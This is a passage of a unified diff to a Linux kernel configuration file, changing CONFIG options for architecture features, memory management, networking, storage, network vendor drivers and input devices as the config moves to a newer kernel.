CONFIG_KPROBES is not set CONFIG_JUMP_LABEL=y # CONFIG_STATIC_KEYS_SELFTEST is not set @@ -552,8 +522,11 @@ CONFIG_HAVE_KPROBES=y CONFIG_HAVE_KRETPROBES=y CONFIG_HAVE_OPTPROBES=y CONFIG_HAVE_KPROBES_ON_FTRACE=y +CONFIG_ARCH_CORRECT_STACKTRACE_ON_KRETPROBE=y CONFIG_HAVE_FUNCTION_ERROR_INJECTION=y CONFIG_HAVE_NMI=y +CONFIG_TRACE_IRQFLAGS_SUPPORT=y +CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y CONFIG_HAVE_ARCH_TRACEHOOK=y CONFIG_HAVE_DMA_CONTIGUOUS=y CONFIG_GENERIC_SMP_IDLE_THREAD=y @@ -562,9 +535,11 @@ CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y +CONFIG_ARCH_WANTS_NO_INSTR=y CONFIG_HAVE_ASM_MODVERSIONS=y CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y CONFIG_HAVE_RSEQ=y +CONFIG_HAVE_RUST=y CONFIG_HAVE_FUNCTION_ARG_ACCESS_API=y CONFIG_HAVE_HW_BREAKPOINT=y CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y @@ -575,6 +550,7 @@ CONFIG_HAVE_PERF_REGS=y CONFIG_HAVE_PERF_USER_STACK_DUMP=y CONFIG_HAVE_ARCH_JUMP_LABEL=y CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y +CONFIG_MMU_GATHER_MERGE_VMAS=y CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y CONFIG_HAVE_CMPXCHG_LOCAL=y @@ -586,36 +562,65 @@ CONFIG_HAVE_ARCH_STACKLEAK=y CONFIG_HAVE_STACKPROTECTOR=y CONFIG_STACKPROTECTOR=y CONFIG_STACKPROTECTOR_STRONG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG_THIN=y +CONFIG_LTO_NONE=y +CONFIG_ARCH_SUPPORTS_CFI_CLANG=y CONFIG_HAVE_ARCH_WITHIN_STACK_FRAMES=y -CONFIG_HAVE_CONTEXT_TRACKING=y +CONFIG_HAVE_CONTEXT_TRACKING_USER=y +CONFIG_HAVE_CONTEXT_TRACKING_USER_OFFSTACK=y CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y +CONFIG_HAVE_MOVE_PUD=y CONFIG_HAVE_MOVE_PMD=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE_PUD=y CONFIG_HAVE_ARCH_HUGE_VMAP=y +CONFIG_HAVE_ARCH_HUGE_VMALLOC=y CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y CONFIG_HAVE_ARCH_SOFT_DIRTY=y CONFIG_HAVE_MOD_ARCH_SPECIFIC=y CONFIG_MODULES_USE_ELF_RELA=y +CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y +CONFIG_HAVE_SOFTIRQ_ON_OWN_STACK=y +CONFIG_SOFTIRQ_ON_OWN_STACK=y CONFIG_ARCH_HAS_ELF_RANDOMIZE=y CONFIG_HAVE_ARCH_MMAP_RND_BITS=y CONFIG_HAVE_EXIT_THREAD=y CONFIG_ARCH_MMAP_RND_BITS=28 +CONFIG_PAGE_SIZE_LESS_THAN_64KB=y +CONFIG_PAGE_SIZE_LESS_THAN_256KB=y +CONFIG_HAVE_OBJTOOL=y +CONFIG_HAVE_JUMP_LABEL_HACK=y +CONFIG_HAVE_NOINSTR_HACK=y +CONFIG_HAVE_NOINSTR_VALIDATION=y +CONFIG_HAVE_UACCESS_VALIDATION=y CONFIG_HAVE_STACK_VALIDATION=y CONFIG_HAVE_RELIABLE_STACKTRACE=y # CONFIG_COMPAT_32BIT_TIME is not set CONFIG_HAVE_ARCH_VMAP_STACK=y CONFIG_VMAP_STACK=y +CONFIG_HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET=y +CONFIG_RANDOMIZE_KSTACK_OFFSET=y +# CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT is not set CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y CONFIG_STRICT_KERNEL_RWX=y CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y CONFIG_STRICT_MODULE_RWX=y CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y +CONFIG_ARCH_USE_MEMREMAP_PROT=y CONFIG_ARCH_HAS_MEM_ENCRYPT=y CONFIG_HAVE_STATIC_CALL=y CONFIG_HAVE_STATIC_CALL_INLINE=y +CONFIG_HAVE_PREEMPT_DYNAMIC=y +CONFIG_HAVE_PREEMPT_DYNAMIC_CALL=y CONFIG_ARCH_WANT_LD_ORPHAN_WARN=y +CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y +CONFIG_ARCH_SUPPORTS_PAGE_TABLE_CHECK=y +CONFIG_ARCH_HAS_ELFCORE_COMPAT=y +CONFIG_ARCH_HAS_PARANOID_L1D_FLUSH=y +CONFIG_DYNAMIC_SIGFRAME=y +CONFIG_ARCH_HAS_NONLEAF_PMD_YOUNG=y # # GCOV-based kernel profiling @@ -624,6 +629,8 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -634,19 +641,21 @@ CONFIG_MODULES=y # CONFIG_MODVERSIONS is not set # CONFIG_MODULE_SRCVERSION_ALL is not set # CONFIG_MODULE_SIG is not set -# CONFIG_MODULE_COMPRESS is not set +CONFIG_MODULE_COMPRESS_NONE=y +# CONFIG_MODULE_COMPRESS_GZIP is not set +# CONFIG_MODULE_COMPRESS_XZ is not set +# CONFIG_MODULE_COMPRESS_ZSTD is not set # CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set -# CONFIG_UNUSED_SYMBOLS is not set +CONFIG_MODPROBE_PATH="/sbin/modprobe" CONFIG_TRIM_UNUSED_KSYMS=y CONFIG_UNUSED_KSYMS_WHITELIST="" CONFIG_MODULES_TREE_LOOKUP=y CONFIG_BLOCK=y -CONFIG_BLK_SCSI_REQUEST=y -CONFIG_BLK_DEV_BSG=y +CONFIG_BLOCK_LEGACY_AUTOLOAD=y +CONFIG_BLK_DEV_BSG_COMMON=y CONFIG_BLK_DEV_BSGLIB=y # CONFIG_BLK_DEV_INTEGRITY is not set # CONFIG_BLK_DEV_ZONED is not set -# CONFIG_BLK_CMDLINE_PARSER is not set # CONFIG_BLK_WBT is not set # CONFIG_BLK_SED_OPAL is not set # CONFIG_BLK_INLINE_ENCRYPTION is not set @@ -660,6 +669,8 @@ CONFIG_EFI_PARTITION=y # end of Partition Types CONFIG_BLK_MQ_PCI=y +CONFIG_BLOCK_HOLDER_DEPRECATED=y +CONFIG_BLK_MQ_STACKING=y # # IO Schedulers @@ -699,38 +710,71 @@ CONFIG_BINFMT_SCRIPT=y # # Memory Management options # -CONFIG_SELECT_MEMORY_MODEL=y -CONFIG_SPARSEMEM_MANUAL=y +# CONFIG_SWAP is not set + +# +# SLAB allocator options +# +# CONFIG_SLAB is not set +CONFIG_SLUB=y +# CONFIG_SLOB is not set +CONFIG_SLAB_MERGE_DEFAULT=y +# CONFIG_SLAB_FREELIST_RANDOM is not set +# CONFIG_SLAB_FREELIST_HARDENED is not set +# CONFIG_SLUB_STATS is not set +CONFIG_SLUB_CPU_PARTIAL=y +# end of SLAB allocator options + +# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set +# CONFIG_COMPAT_BRK is not set CONFIG_SPARSEMEM=y CONFIG_SPARSEMEM_EXTREME=y CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y CONFIG_SPARSEMEM_VMEMMAP=y CONFIG_HAVE_FAST_GUP=y +CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y # CONFIG_MEMORY_HOTPLUG is not set CONFIG_SPLIT_PTLOCK_CPUS=4 +CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y # CONFIG_COMPACTION is not set # CONFIG_PAGE_REPORTING is not set CONFIG_PHYS_ADDR_T_64BIT=y -CONFIG_VIRT_TO_BUS=y CONFIG_MMU_NOTIFIER=y # CONFIG_KSM is not set CONFIG_DEFAULT_MMAP_MIN_ADDR=65536 CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y # CONFIG_MEMORY_FAILURE is not set -# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_ARCH_WANT_GENERAL_HUGETLB=y CONFIG_ARCH_WANTS_THP_SWAP=y -# CONFIG_CLEANCACHE is not set +# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y +CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y +CONFIG_HAVE_SETUP_PER_CPU_AREA=y # CONFIG_CMA is not set -# CONFIG_ZPOOL is not set -# CONFIG_ZBUD is not set -# CONFIG_ZSMALLOC is not set CONFIG_GENERIC_EARLY_IOREMAP=y # CONFIG_DEFERRED_STRUCT_PAGE_INIT is not set # CONFIG_IDLE_PAGE_TRACKING is not set +CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y +CONFIG_ARCH_HAS_CURRENT_STACK_POINTER=y CONFIG_ARCH_HAS_PTE_DEVMAP=y +CONFIG_ARCH_HAS_ZONE_DMA_SET=y +# CONFIG_ZONE_DMA is not set +CONFIG_ZONE_DMA32=y +# CONFIG_VM_EVENT_COUNTERS is not set # CONFIG_PERCPU_STATS is not set -# CONFIG_GUP_BENCHMARK is not set + +# +# GUP_TEST needs to have DEBUG_FS enabled +# CONFIG_ARCH_HAS_PTE_SPECIAL=y +# CONFIG_USERFAULTFD is not set +# CONFIG_LRU_GEN is not set + +# +# Data Access Monitoring +# +# CONFIG_DAMON is not set +# end of Data Access Monitoring # end of Memory Management options CONFIG_NET=y @@ -742,6 +786,7 @@ CONFIG_PACKET=y # CONFIG_PACKET_DIAG is not set CONFIG_UNIX=y CONFIG_UNIX_SCM=y +CONFIG_AF_UNIX_OOB=y # CONFIG_UNIX_DIAG is not set # CONFIG_TLS is not set # CONFIG_XFRM_USER is not set @@ -758,6 +803,7 @@ CONFIG_SYN_COOKIES=y # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 # CONFIG_INET_DIAG is not set # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y @@ -776,10 +822,8 @@ CONFIG_DEFAULT_TCP_CONG="cubic" # CONFIG_ATM is not set # CONFIG_L2TP is not set # CONFIG_BRIDGE is not set -CONFIG_HAVE_NET_DSA=y # CONFIG_NET_DSA is not set # CONFIG_VLAN_8021Q is not set -# CONFIG_DECNET is not set # CONFIG_LLC2 is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set @@ -799,12 +843,13 @@ CONFIG_HAVE_NET_DSA=y # CONFIG_NET_L3_MASTER_DEV is not set # CONFIG_QRTR is not set # CONFIG_NET_NCSI is not set +CONFIG_PCPU_DEV_REFCNT=y CONFIG_RPS=y CONFIG_RFS_ACCEL=y +CONFIG_SOCK_RX_QUEUE_MAPPING=y CONFIG_XPS=y CONFIG_NET_RX_BUSY_POLL=y CONFIG_BQL=y -# CONFIG_BPF_JIT is not set CONFIG_NET_FLOW_LIMIT=y # @@ -819,8 +864,8 @@ CONFIG_NET_FLOW_LIMIT=y # CONFIG_BT is not set # CONFIG_AF_RXRPC is not set # CONFIG_AF_KCM is not set +# CONFIG_MCTP is not set # CONFIG_WIRELESS is not set -# CONFIG_WIMAX is not set # CONFIG_RFKILL is not set # CONFIG_NET_9P is not set # CONFIG_CAIF is not set @@ -831,7 +876,6 @@ CONFIG_NET_FLOW_LIMIT=y # CONFIG_LWTUNNEL is not set # CONFIG_FAILOVER is not set CONFIG_ETHTOOL_NETLINK=y -CONFIG_HAVE_EBPF_JIT=y # # Device Drivers @@ -842,7 +886,11 @@ CONFIG_HAVE_PCI=y CONFIG_PCI=y CONFIG_PCI_DOMAINS=y # CONFIG_PCIEPORTBUS is not set -# CONFIG_PCIEASPM is not set +CONFIG_PCIEASPM=y +CONFIG_PCIEASPM_DEFAULT=y +# CONFIG_PCIEASPM_POWERSAVE is not set +# CONFIG_PCIEASPM_POWER_SUPERSAVE is not set +# CONFIG_PCIEASPM_PERFORMANCE is not set # CONFIG_PCIE_PTM is not set CONFIG_PCI_MSI=y CONFIG_PCI_MSI_IRQ_DOMAIN=y @@ -860,6 +908,8 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCIE_BUS_SAFE is not set # CONFIG_PCIE_BUS_PERFORMANCE is not set # CONFIG_PCIE_BUS_PEER2PEER is not set +CONFIG_VGA_ARB=y +CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_HOTPLUG_PCI is not set # @@ -897,6 +947,7 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCI_SW_SWITCHTEC is not set # end of PCI switch controller drivers +# CONFIG_CXL_BUS is not set # CONFIG_PCCARD is not set # CONFIG_RAPIDIO is not set @@ -906,6 +957,7 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_UEVENT_HELPER is not set CONFIG_DEVTMPFS=y CONFIG_DEVTMPFS_MOUNT=y +# CONFIG_DEVTMPFS_SAFE is not set # CONFIG_STANDALONE is not set CONFIG_PREVENT_FIRMWARE_BUILD=y @@ -916,6 +968,7 @@ CONFIG_FW_LOADER=y CONFIG_EXTRA_FIRMWARE="" # CONFIG_FW_LOADER_USER_HELPER is not set # CONFIG_FW_LOADER_COMPRESS is not set +# CONFIG_FW_UPLOAD is not set # end of Firmware loader # CONFIG_ALLOW_DEV_COREDUMP is not set @@ -935,9 +988,54 @@ CONFIG_DMA_SHARED_BUFFER=y # Bus devices # # CONFIG_MHI_BUS is not set +# CONFIG_MHI_BUS_EP is not set # end of Bus devices # CONFIG_CONNECTOR is not set + +# +# Firmware Drivers +# + +# +# ARM System Control and Management Interface Protocol +# +# end of ARM System Control and Management Interface Protocol + +# CONFIG_EDD is not set +# CONFIG_FIRMWARE_MEMMAP is not set +# CONFIG_DMIID is not set +# CONFIG_DMI_SYSFS is not set +CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y +# CONFIG_ISCSI_IBFT is not set +# CONFIG_FW_CFG_SYSFS is not set +CONFIG_SYSFB=y +CONFIG_SYSFB_SIMPLEFB=y +# CONFIG_GOOGLE_FIRMWARE is not set + +# +# EFI (Extensible Firmware Interface) Support +# +CONFIG_EFI_ESRT=y +CONFIG_EFI_RUNTIME_MAP=y +# CONFIG_EFI_FAKE_MEMMAP is not set +CONFIG_EFI_RUNTIME_WRAPPERS=y +# CONFIG_EFI_BOOTLOADER_CONTROL is not set +# CONFIG_EFI_CAPSULE_LOADER is not set +# CONFIG_EFI_TEST is not set +# CONFIG_EFI_RCI2_TABLE is not set +# CONFIG_EFI_DISABLE_PCI_DMA is not set +CONFIG_EFI_CUSTOM_SSDT_OVERLAYS=y +# CONFIG_EFI_DISABLE_RUNTIME is not set +# CONFIG_EFI_COCO_SECRET is not set +# end of EFI (Extensible Firmware Interface) Support + +# +# Tegra firmware driver +# +# end of Tegra firmware driver +# end of Firmware Drivers + # CONFIG_GNSS is not set # CONFIG_MTD is not set # CONFIG_OF is not set @@ -955,21 +1053,17 @@ CONFIG_BLK_DEV=y # CONFIG_BLK_DEV_FD is not set CONFIG_CDROM=y # CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set -# CONFIG_BLK_DEV_UMEM is not set CONFIG_BLK_DEV_LOOP=y CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 -# CONFIG_BLK_DEV_CRYPTOLOOP is not set # CONFIG_BLK_DEV_DRBD is not set # CONFIG_BLK_DEV_NBD is not set -# CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 # CONFIG_CDROM_PKTCDVD is not set # CONFIG_ATA_OVER_ETH is not set # CONFIG_BLK_DEV_RBD is not set -# CONFIG_BLK_DEV_RSXX is not set +# CONFIG_BLK_DEV_UBLK is not set # # NVME Support @@ -977,44 +1071,31 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 CONFIG_NVME_CORE=y CONFIG_BLK_DEV_NVME=y # CONFIG_NVME_MULTIPATH is not set +# CONFIG_NVME_VERBOSE_ERRORS is not set # CONFIG_NVME_FC is not set # CONFIG_NVME_TCP is not set +# CONFIG_NVME_AUTH is not set # end of NVME Support # # Misc devices # -# CONFIG_AD525X_DPOT is not set # CONFIG_DUMMY_IRQ is not set # CONFIG_IBM_ASM is not set # CONFIG_PHANTOM is not set # CONFIG_TIFM_CORE is not set -# CONFIG_ICS932S401 is not set # CONFIG_ENCLOSURE_SERVICES is not set # CONFIG_HP_ILO is not set -# CONFIG_APDS9802ALS is not set -# CONFIG_ISL29003 is not set -# CONFIG_ISL29020 is not set -# CONFIG_SENSORS_TSL2550 is not set -# CONFIG_SENSORS_BH1770 is not set -# CONFIG_SENSORS_APDS990X is not set -# CONFIG_HMC6352 is not set -# CONFIG_DS1682 is not set # CONFIG_SRAM is not set +# CONFIG_DW_XDATA_PCIE is not set # CONFIG_PCI_ENDPOINT_TEST is not set # CONFIG_XILINX_SDFEC is not set -# CONFIG_PVPANIC is not set # CONFIG_C2PORT is not set # # EEPROM support # -# CONFIG_EEPROM_AT24 is not set -# CONFIG_EEPROM_LEGACY is not set -# CONFIG_EEPROM_MAX6875 is not set # CONFIG_EEPROM_93CX6 is not set -# CONFIG_EEPROM_IDT_89HPESX is not set -# CONFIG_EEPROM_EE1004 is not set # end of EEPROM support # CONFIG_CB710_CORE is not set @@ -1024,29 +1105,30 @@ CONFIG_BLK_DEV_NVME=y # # end of Texas Instruments shared transport line discipline -# CONFIG_SENSORS_LIS3_I2C is not set -# CONFIG_ALTERA_STAPL is not set +# +# Altera FPGA firmware download module (requires I2C) +# CONFIG_INTEL_MEI=m CONFIG_INTEL_MEI_ME=m CONFIG_INTEL_MEI_TXE=m # CONFIG_VMWARE_VMCI is not set # CONFIG_GENWQE is not set # CONFIG_ECHO is not set +# CONFIG_BCM_VK is not set # CONFIG_MISC_ALCOR_PCI is not set # CONFIG_MISC_RTSX_PCI is not set # CONFIG_MISC_RTSX_USB is not set # CONFIG_HABANA_AI is not set # CONFIG_UACCE is not set +# CONFIG_PVPANIC is not set # end of Misc devices -CONFIG_HAVE_IDE=y -# CONFIG_IDE is not set - # # SCSI device support # CONFIG_SCSI_MOD=y # CONFIG_RAID_ATTRS is not set +CONFIG_SCSI_COMMON=y CONFIG_SCSI=y CONFIG_SCSI_DMA=y # CONFIG_SCSI_PROC_FS is not set @@ -1058,6 +1140,7 @@ CONFIG_BLK_DEV_SD=y # CONFIG_CHR_DEV_ST is not set CONFIG_BLK_DEV_SR=y CONFIG_CHR_DEV_SG=y +CONFIG_BLK_DEV_BSG=y # CONFIG_CHR_DEV_SCH is not set # CONFIG_SCSI_CONSTANTS is not set # CONFIG_SCSI_LOGGING is not set @@ -1074,7 +1157,57 @@ CONFIG_SCSI_ISCSI_ATTRS=y # CONFIG_SCSI_SRP_ATTRS is not set # end of SCSI Transports -# CONFIG_SCSI_LOWLEVEL is not set +CONFIG_SCSI_LOWLEVEL=y +CONFIG_ISCSI_TCP=y +# CONFIG_ISCSI_BOOT_SYSFS is not set +# CONFIG_SCSI_CXGB3_ISCSI is not set +# CONFIG_SCSI_CXGB4_ISCSI is not set +# CONFIG_SCSI_BNX2_ISCSI is not set +# CONFIG_BE2ISCSI is not set +# CONFIG_BLK_DEV_3W_XXXX_RAID is not set +# CONFIG_SCSI_HPSA is not set +# CONFIG_SCSI_3W_9XXX is not set +# CONFIG_SCSI_3W_SAS is not set +# CONFIG_SCSI_ACARD is not set +# CONFIG_SCSI_AACRAID is not set +# CONFIG_SCSI_AIC7XXX is not set +# CONFIG_SCSI_AIC79XX is not set +# CONFIG_SCSI_AIC94XX is not set +# CONFIG_SCSI_MVSAS is not set +# CONFIG_SCSI_MVUMI is not set +# CONFIG_SCSI_ADVANSYS is not set +# CONFIG_SCSI_ARCMSR is not set +# CONFIG_SCSI_ESAS2R is not set +# CONFIG_MEGARAID_NEWGEN is not set +# CONFIG_MEGARAID_LEGACY is not set +# CONFIG_MEGARAID_SAS is not set +# CONFIG_SCSI_MPT3SAS is not set +# CONFIG_SCSI_MPT2SAS is not set +# CONFIG_SCSI_MPI3MR is not set +# CONFIG_SCSI_SMARTPQI is not set +# CONFIG_SCSI_HPTIOP is not set +# CONFIG_SCSI_BUSLOGIC is not set +# CONFIG_SCSI_MYRB is not set +# CONFIG_SCSI_MYRS is not set +# CONFIG_VMWARE_PVSCSI is not set +# CONFIG_SCSI_SNIC is not set +# CONFIG_SCSI_DMX3191D is not set +# CONFIG_SCSI_FDOMAIN_PCI is not set +# CONFIG_SCSI_ISCI is not set +# CONFIG_SCSI_IPS is not set +# CONFIG_SCSI_INITIO is not set +# CONFIG_SCSI_INIA100 is not set +# CONFIG_SCSI_STEX is not set +# CONFIG_SCSI_SYM53C8XX_2 is not set +# CONFIG_SCSI_IPR is not set +# CONFIG_SCSI_QLOGIC_1280 is not set +# CONFIG_SCSI_QLA_ISCSI is not set +# CONFIG_SCSI_DC395x is not set +# CONFIG_SCSI_AM53C974 is not set +# CONFIG_SCSI_WD719X is not set +# CONFIG_SCSI_DEBUG is not set +# CONFIG_SCSI_PMCRAID is not set +# CONFIG_SCSI_PM8001 is not set # CONFIG_SCSI_DH is not set # end of SCSI device support @@ -1092,6 +1225,7 @@ CONFIG_SATA_PMP=y CONFIG_SATA_AHCI=y CONFIG_SATA_MOBILE_LPM_POLICY=0 # CONFIG_SATA_AHCI_PLATFORM is not set +# CONFIG_AHCI_DWC is not set # CONFIG_SATA_INIC162X is not set # CONFIG_SATA_ACARD_AHCI is not set # CONFIG_SATA_SIL24 is not set @@ -1163,12 +1297,6 @@ CONFIG_NET_CORE=y # CONFIG_VETH is not set # CONFIG_NLMON is not set # CONFIG_ARCNET is not set - -# -# Distributed Switch Architecture drivers -# -# end of Distributed Switch Architecture drivers - CONFIG_ETHERNET=y # CONFIG_NET_VENDOR_3COM is not set # CONFIG_NET_VENDOR_ADAPTEC is not set @@ -1180,21 +1308,23 @@ CONFIG_ETHERNET=y # CONFIG_NET_VENDOR_AMD is not set # CONFIG_NET_VENDOR_AQUANTIA is not set # CONFIG_NET_VENDOR_ARC is not set +# CONFIG_NET_VENDOR_ASIX is not set # CONFIG_NET_VENDOR_ATHEROS is not set -# CONFIG_NET_VENDOR_AURORA is not set +# CONFIG_CX_ECAT is not set # CONFIG_NET_VENDOR_BROADCOM is not set -# CONFIG_NET_VENDOR_BROCADE is not set # CONFIG_NET_VENDOR_CADENCE is not set # CONFIG_NET_VENDOR_CAVIUM is not set # CONFIG_NET_VENDOR_CHELSIO is not set # CONFIG_NET_VENDOR_CISCO is not set # CONFIG_NET_VENDOR_CORTINA is not set -# CONFIG_CX_ECAT is not set +# CONFIG_NET_VENDOR_DAVICOM is not set # CONFIG_DNET is not set # CONFIG_NET_VENDOR_DEC is not set # CONFIG_NET_VENDOR_DLINK is not set # CONFIG_NET_VENDOR_EMULEX is not set +# CONFIG_NET_VENDOR_ENGLEDER is not set # CONFIG_NET_VENDOR_EZCHIP is not set +# CONFIG_NET_VENDOR_FUNGIBLE is not set # CONFIG_NET_VENDOR_GOOGLE is not set # CONFIG_NET_VENDOR_HUAWEI is not set # CONFIG_NET_VENDOR_I825XX is not set @@ -1213,24 +1343,28 @@ CONFIG_E1000E_HWTS=y # CONFIG_ICE is not set # CONFIG_FM10K is not set # CONFIG_IGC is not set +# CONFIG_NET_VENDOR_WANGXUN is not set # CONFIG_JME is not set +# CONFIG_NET_VENDOR_LITEX is not set # CONFIG_NET_VENDOR_MARVELL is not set # CONFIG_NET_VENDOR_MELLANOX is not set # CONFIG_NET_VENDOR_MICREL is not set # CONFIG_NET_VENDOR_MICROCHIP is not set # CONFIG_NET_VENDOR_MICROSEMI is not set +# CONFIG_NET_VENDOR_MICROSOFT is not set # CONFIG_NET_VENDOR_MYRI is not set # CONFIG_FEALNX is not set +# CONFIG_NET_VENDOR_NI is not set # CONFIG_NET_VENDOR_NATSEMI is not set # CONFIG_NET_VENDOR_NETERION is not set # CONFIG_NET_VENDOR_NETRONOME is not set -# CONFIG_NET_VENDOR_NI is not set # CONFIG_NET_VENDOR_NVIDIA is not set # CONFIG_NET_VENDOR_OKI is not set # CONFIG_ETHOC is not set # CONFIG_NET_VENDOR_PACKET_ENGINES is not set # CONFIG_NET_VENDOR_PENSANDO is not set # CONFIG_NET_VENDOR_QLOGIC is not set +# CONFIG_NET_VENDOR_BROCADE is not set # CONFIG_NET_VENDOR_QUALCOMM is not set # CONFIG_NET_VENDOR_RDC is not set # CONFIG_NET_VENDOR_REALTEK is not set @@ -1238,9 +1372,9 @@ CONFIG_E1000E_HWTS=y # CONFIG_NET_VENDOR_ROCKER is not set # CONFIG_NET_VENDOR_SAMSUNG is not set # CONFIG_NET_VENDOR_SEEQ is not set -# CONFIG_NET_VENDOR_SOLARFLARE is not set # CONFIG_NET_VENDOR_SILAN is not set # CONFIG_NET_VENDOR_SIS is not set +# CONFIG_NET_VENDOR_SOLARFLARE is not set # CONFIG_NET_VENDOR_SMSC is not set # CONFIG_NET_VENDOR_SOCIONEXT is not set # CONFIG_NET_VENDOR_STMICRO is not set @@ -1248,6 +1382,7 @@ CONFIG_E1000E_HWTS=y # CONFIG_NET_VENDOR_SYNOPSYS is not set # CONFIG_NET_VENDOR_TEHUTI is not set # CONFIG_NET_VENDOR_TI is not set +# CONFIG_NET_VENDOR_VERTEXCOM is not set # CONFIG_NET_VENDOR_VIA is not set # CONFIG_NET_VENDOR_WIZNET is not set # CONFIG_NET_VENDOR_XILINX is not set @@ -1255,6 +1390,7 @@ CONFIG_E1000E_HWTS=y # CONFIG_HIPPI is not set # CONFIG_NET_SB1000 is not set # CONFIG_PHYLIB is not set +# CONFIG_PSE_CONTROLLER is not set # CONFIG_MDIO_DEVICE is not set # @@ -1306,26 +1442,29 @@ CONFIG_USB_NET_CDC_SUBSET=m # CONFIG_USB_VL600 is not set # CONFIG_USB_NET_CH9200 is not set # CONFIG_USB_NET_AQC111 is not set +CONFIG_USB_RTL8153_ECM=m # CONFIG_WLAN is not set +# CONFIG_WAN is not set # -# Enable WiMAX (Networking options) to see the WiMAX drivers +# Wireless WAN # -# CONFIG_WAN is not set +# CONFIG_WWAN is not set +# end of Wireless WAN + # CONFIG_VMXNET3 is not set # CONFIG_FUJITSU_ES is not set # CONFIG_NET_FAILOVER is not set # CONFIG_ISDN is not set -# CONFIG_NVM is not set # # Input device support # CONFIG_INPUT=y # CONFIG_INPUT_FF_MEMLESS is not set -# CONFIG_INPUT_POLLDEV is not set # CONFIG_INPUT_SPARSEKMAP is not set # CONFIG_INPUT_MATRIXKMAP is not set +CONFIG_INPUT_VIVALDIFMAP=y # # Userland interfaces @@ -1342,20 +1481,8 @@ CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 # Input Device Drivers # CONFIG_INPUT_KEYBOARD=y -# CONFIG_KEYBOARD_ADP5588 is not set -# CONFIG_KEYBOARD_ADP5589 is not set CONFIG_KEYBOARD_ATKBD=y -# CONFIG_KEYBOARD_QT1050 is not set -# CONFIG_KEYBOARD_QT1070 is not set -# CONFIG_KEYBOARD_QT2160 is not set -# CONFIG_KEYBOARD_DLINK_DIR685 is not set # CONFIG_KEYBOARD_LKKBD is not set -# CONFIG_KEYBOARD_TCA6416 is not set -# CONFIG_KEYBOARD_TCA8418 is not set -# CONFIG_KEYBOARD_LM8333 is not set -# CONFIG_KEYBOARD_MAX7359 is not set -# CONFIG_KEYBOARD_MCS is not set -# CONFIG_KEYBOARD_MPR121 is not set # CONFIG_KEYBOARD_NEWTON is not set # CONFIG_KEYBOARD_OPENCORES is not set # CONFIG_KEYBOARD_SAMSUNG is not set @@ -1368,7 +1495,6 @@ CONFIG_MOUSE_PS2=y # CONFIG_MOUSE_PS2_BYD is not set # CONFIG_MOUSE_PS2_LOGIPS2PP is not set CONFIG_MOUSE_PS2_SYNAPTICS=y -# CONFIG_MOUSE_PS2_SYNAPTICS_SMBUS is not set # CONFIG_MOUSE_PS2_CYPRESS is not set # CONFIG_MOUSE_PS2_LIFEBOOK is not set # CONFIG_MOUSE_PS2_TRACKPOINT is not set @@ -1379,10 +1505,7 @@ CONFIG_MOUSE_PS2_SYNAPTICS=y # CONFIG_MOUSE_SERIAL is not set # CONFIG_MOUSE_APPLETOUCH is not set # CONFIG_MOUSE_BCM5974 is not set -# CONFIG_MOUSE_CYAPA is not set -# CONFIG_MOUSE_ELAN_I2C is not set # CONFIG_MOUSE_VSXXXAA is not set -# CONFIG_MOUSE_SYNAPTICS_I2C is not set # CONFIG_MOUSE_SYNAPTICS_USB is not set # CONFIG_INPUT_JOYSTICK is not set # CONFIG_INPUT_TABLET 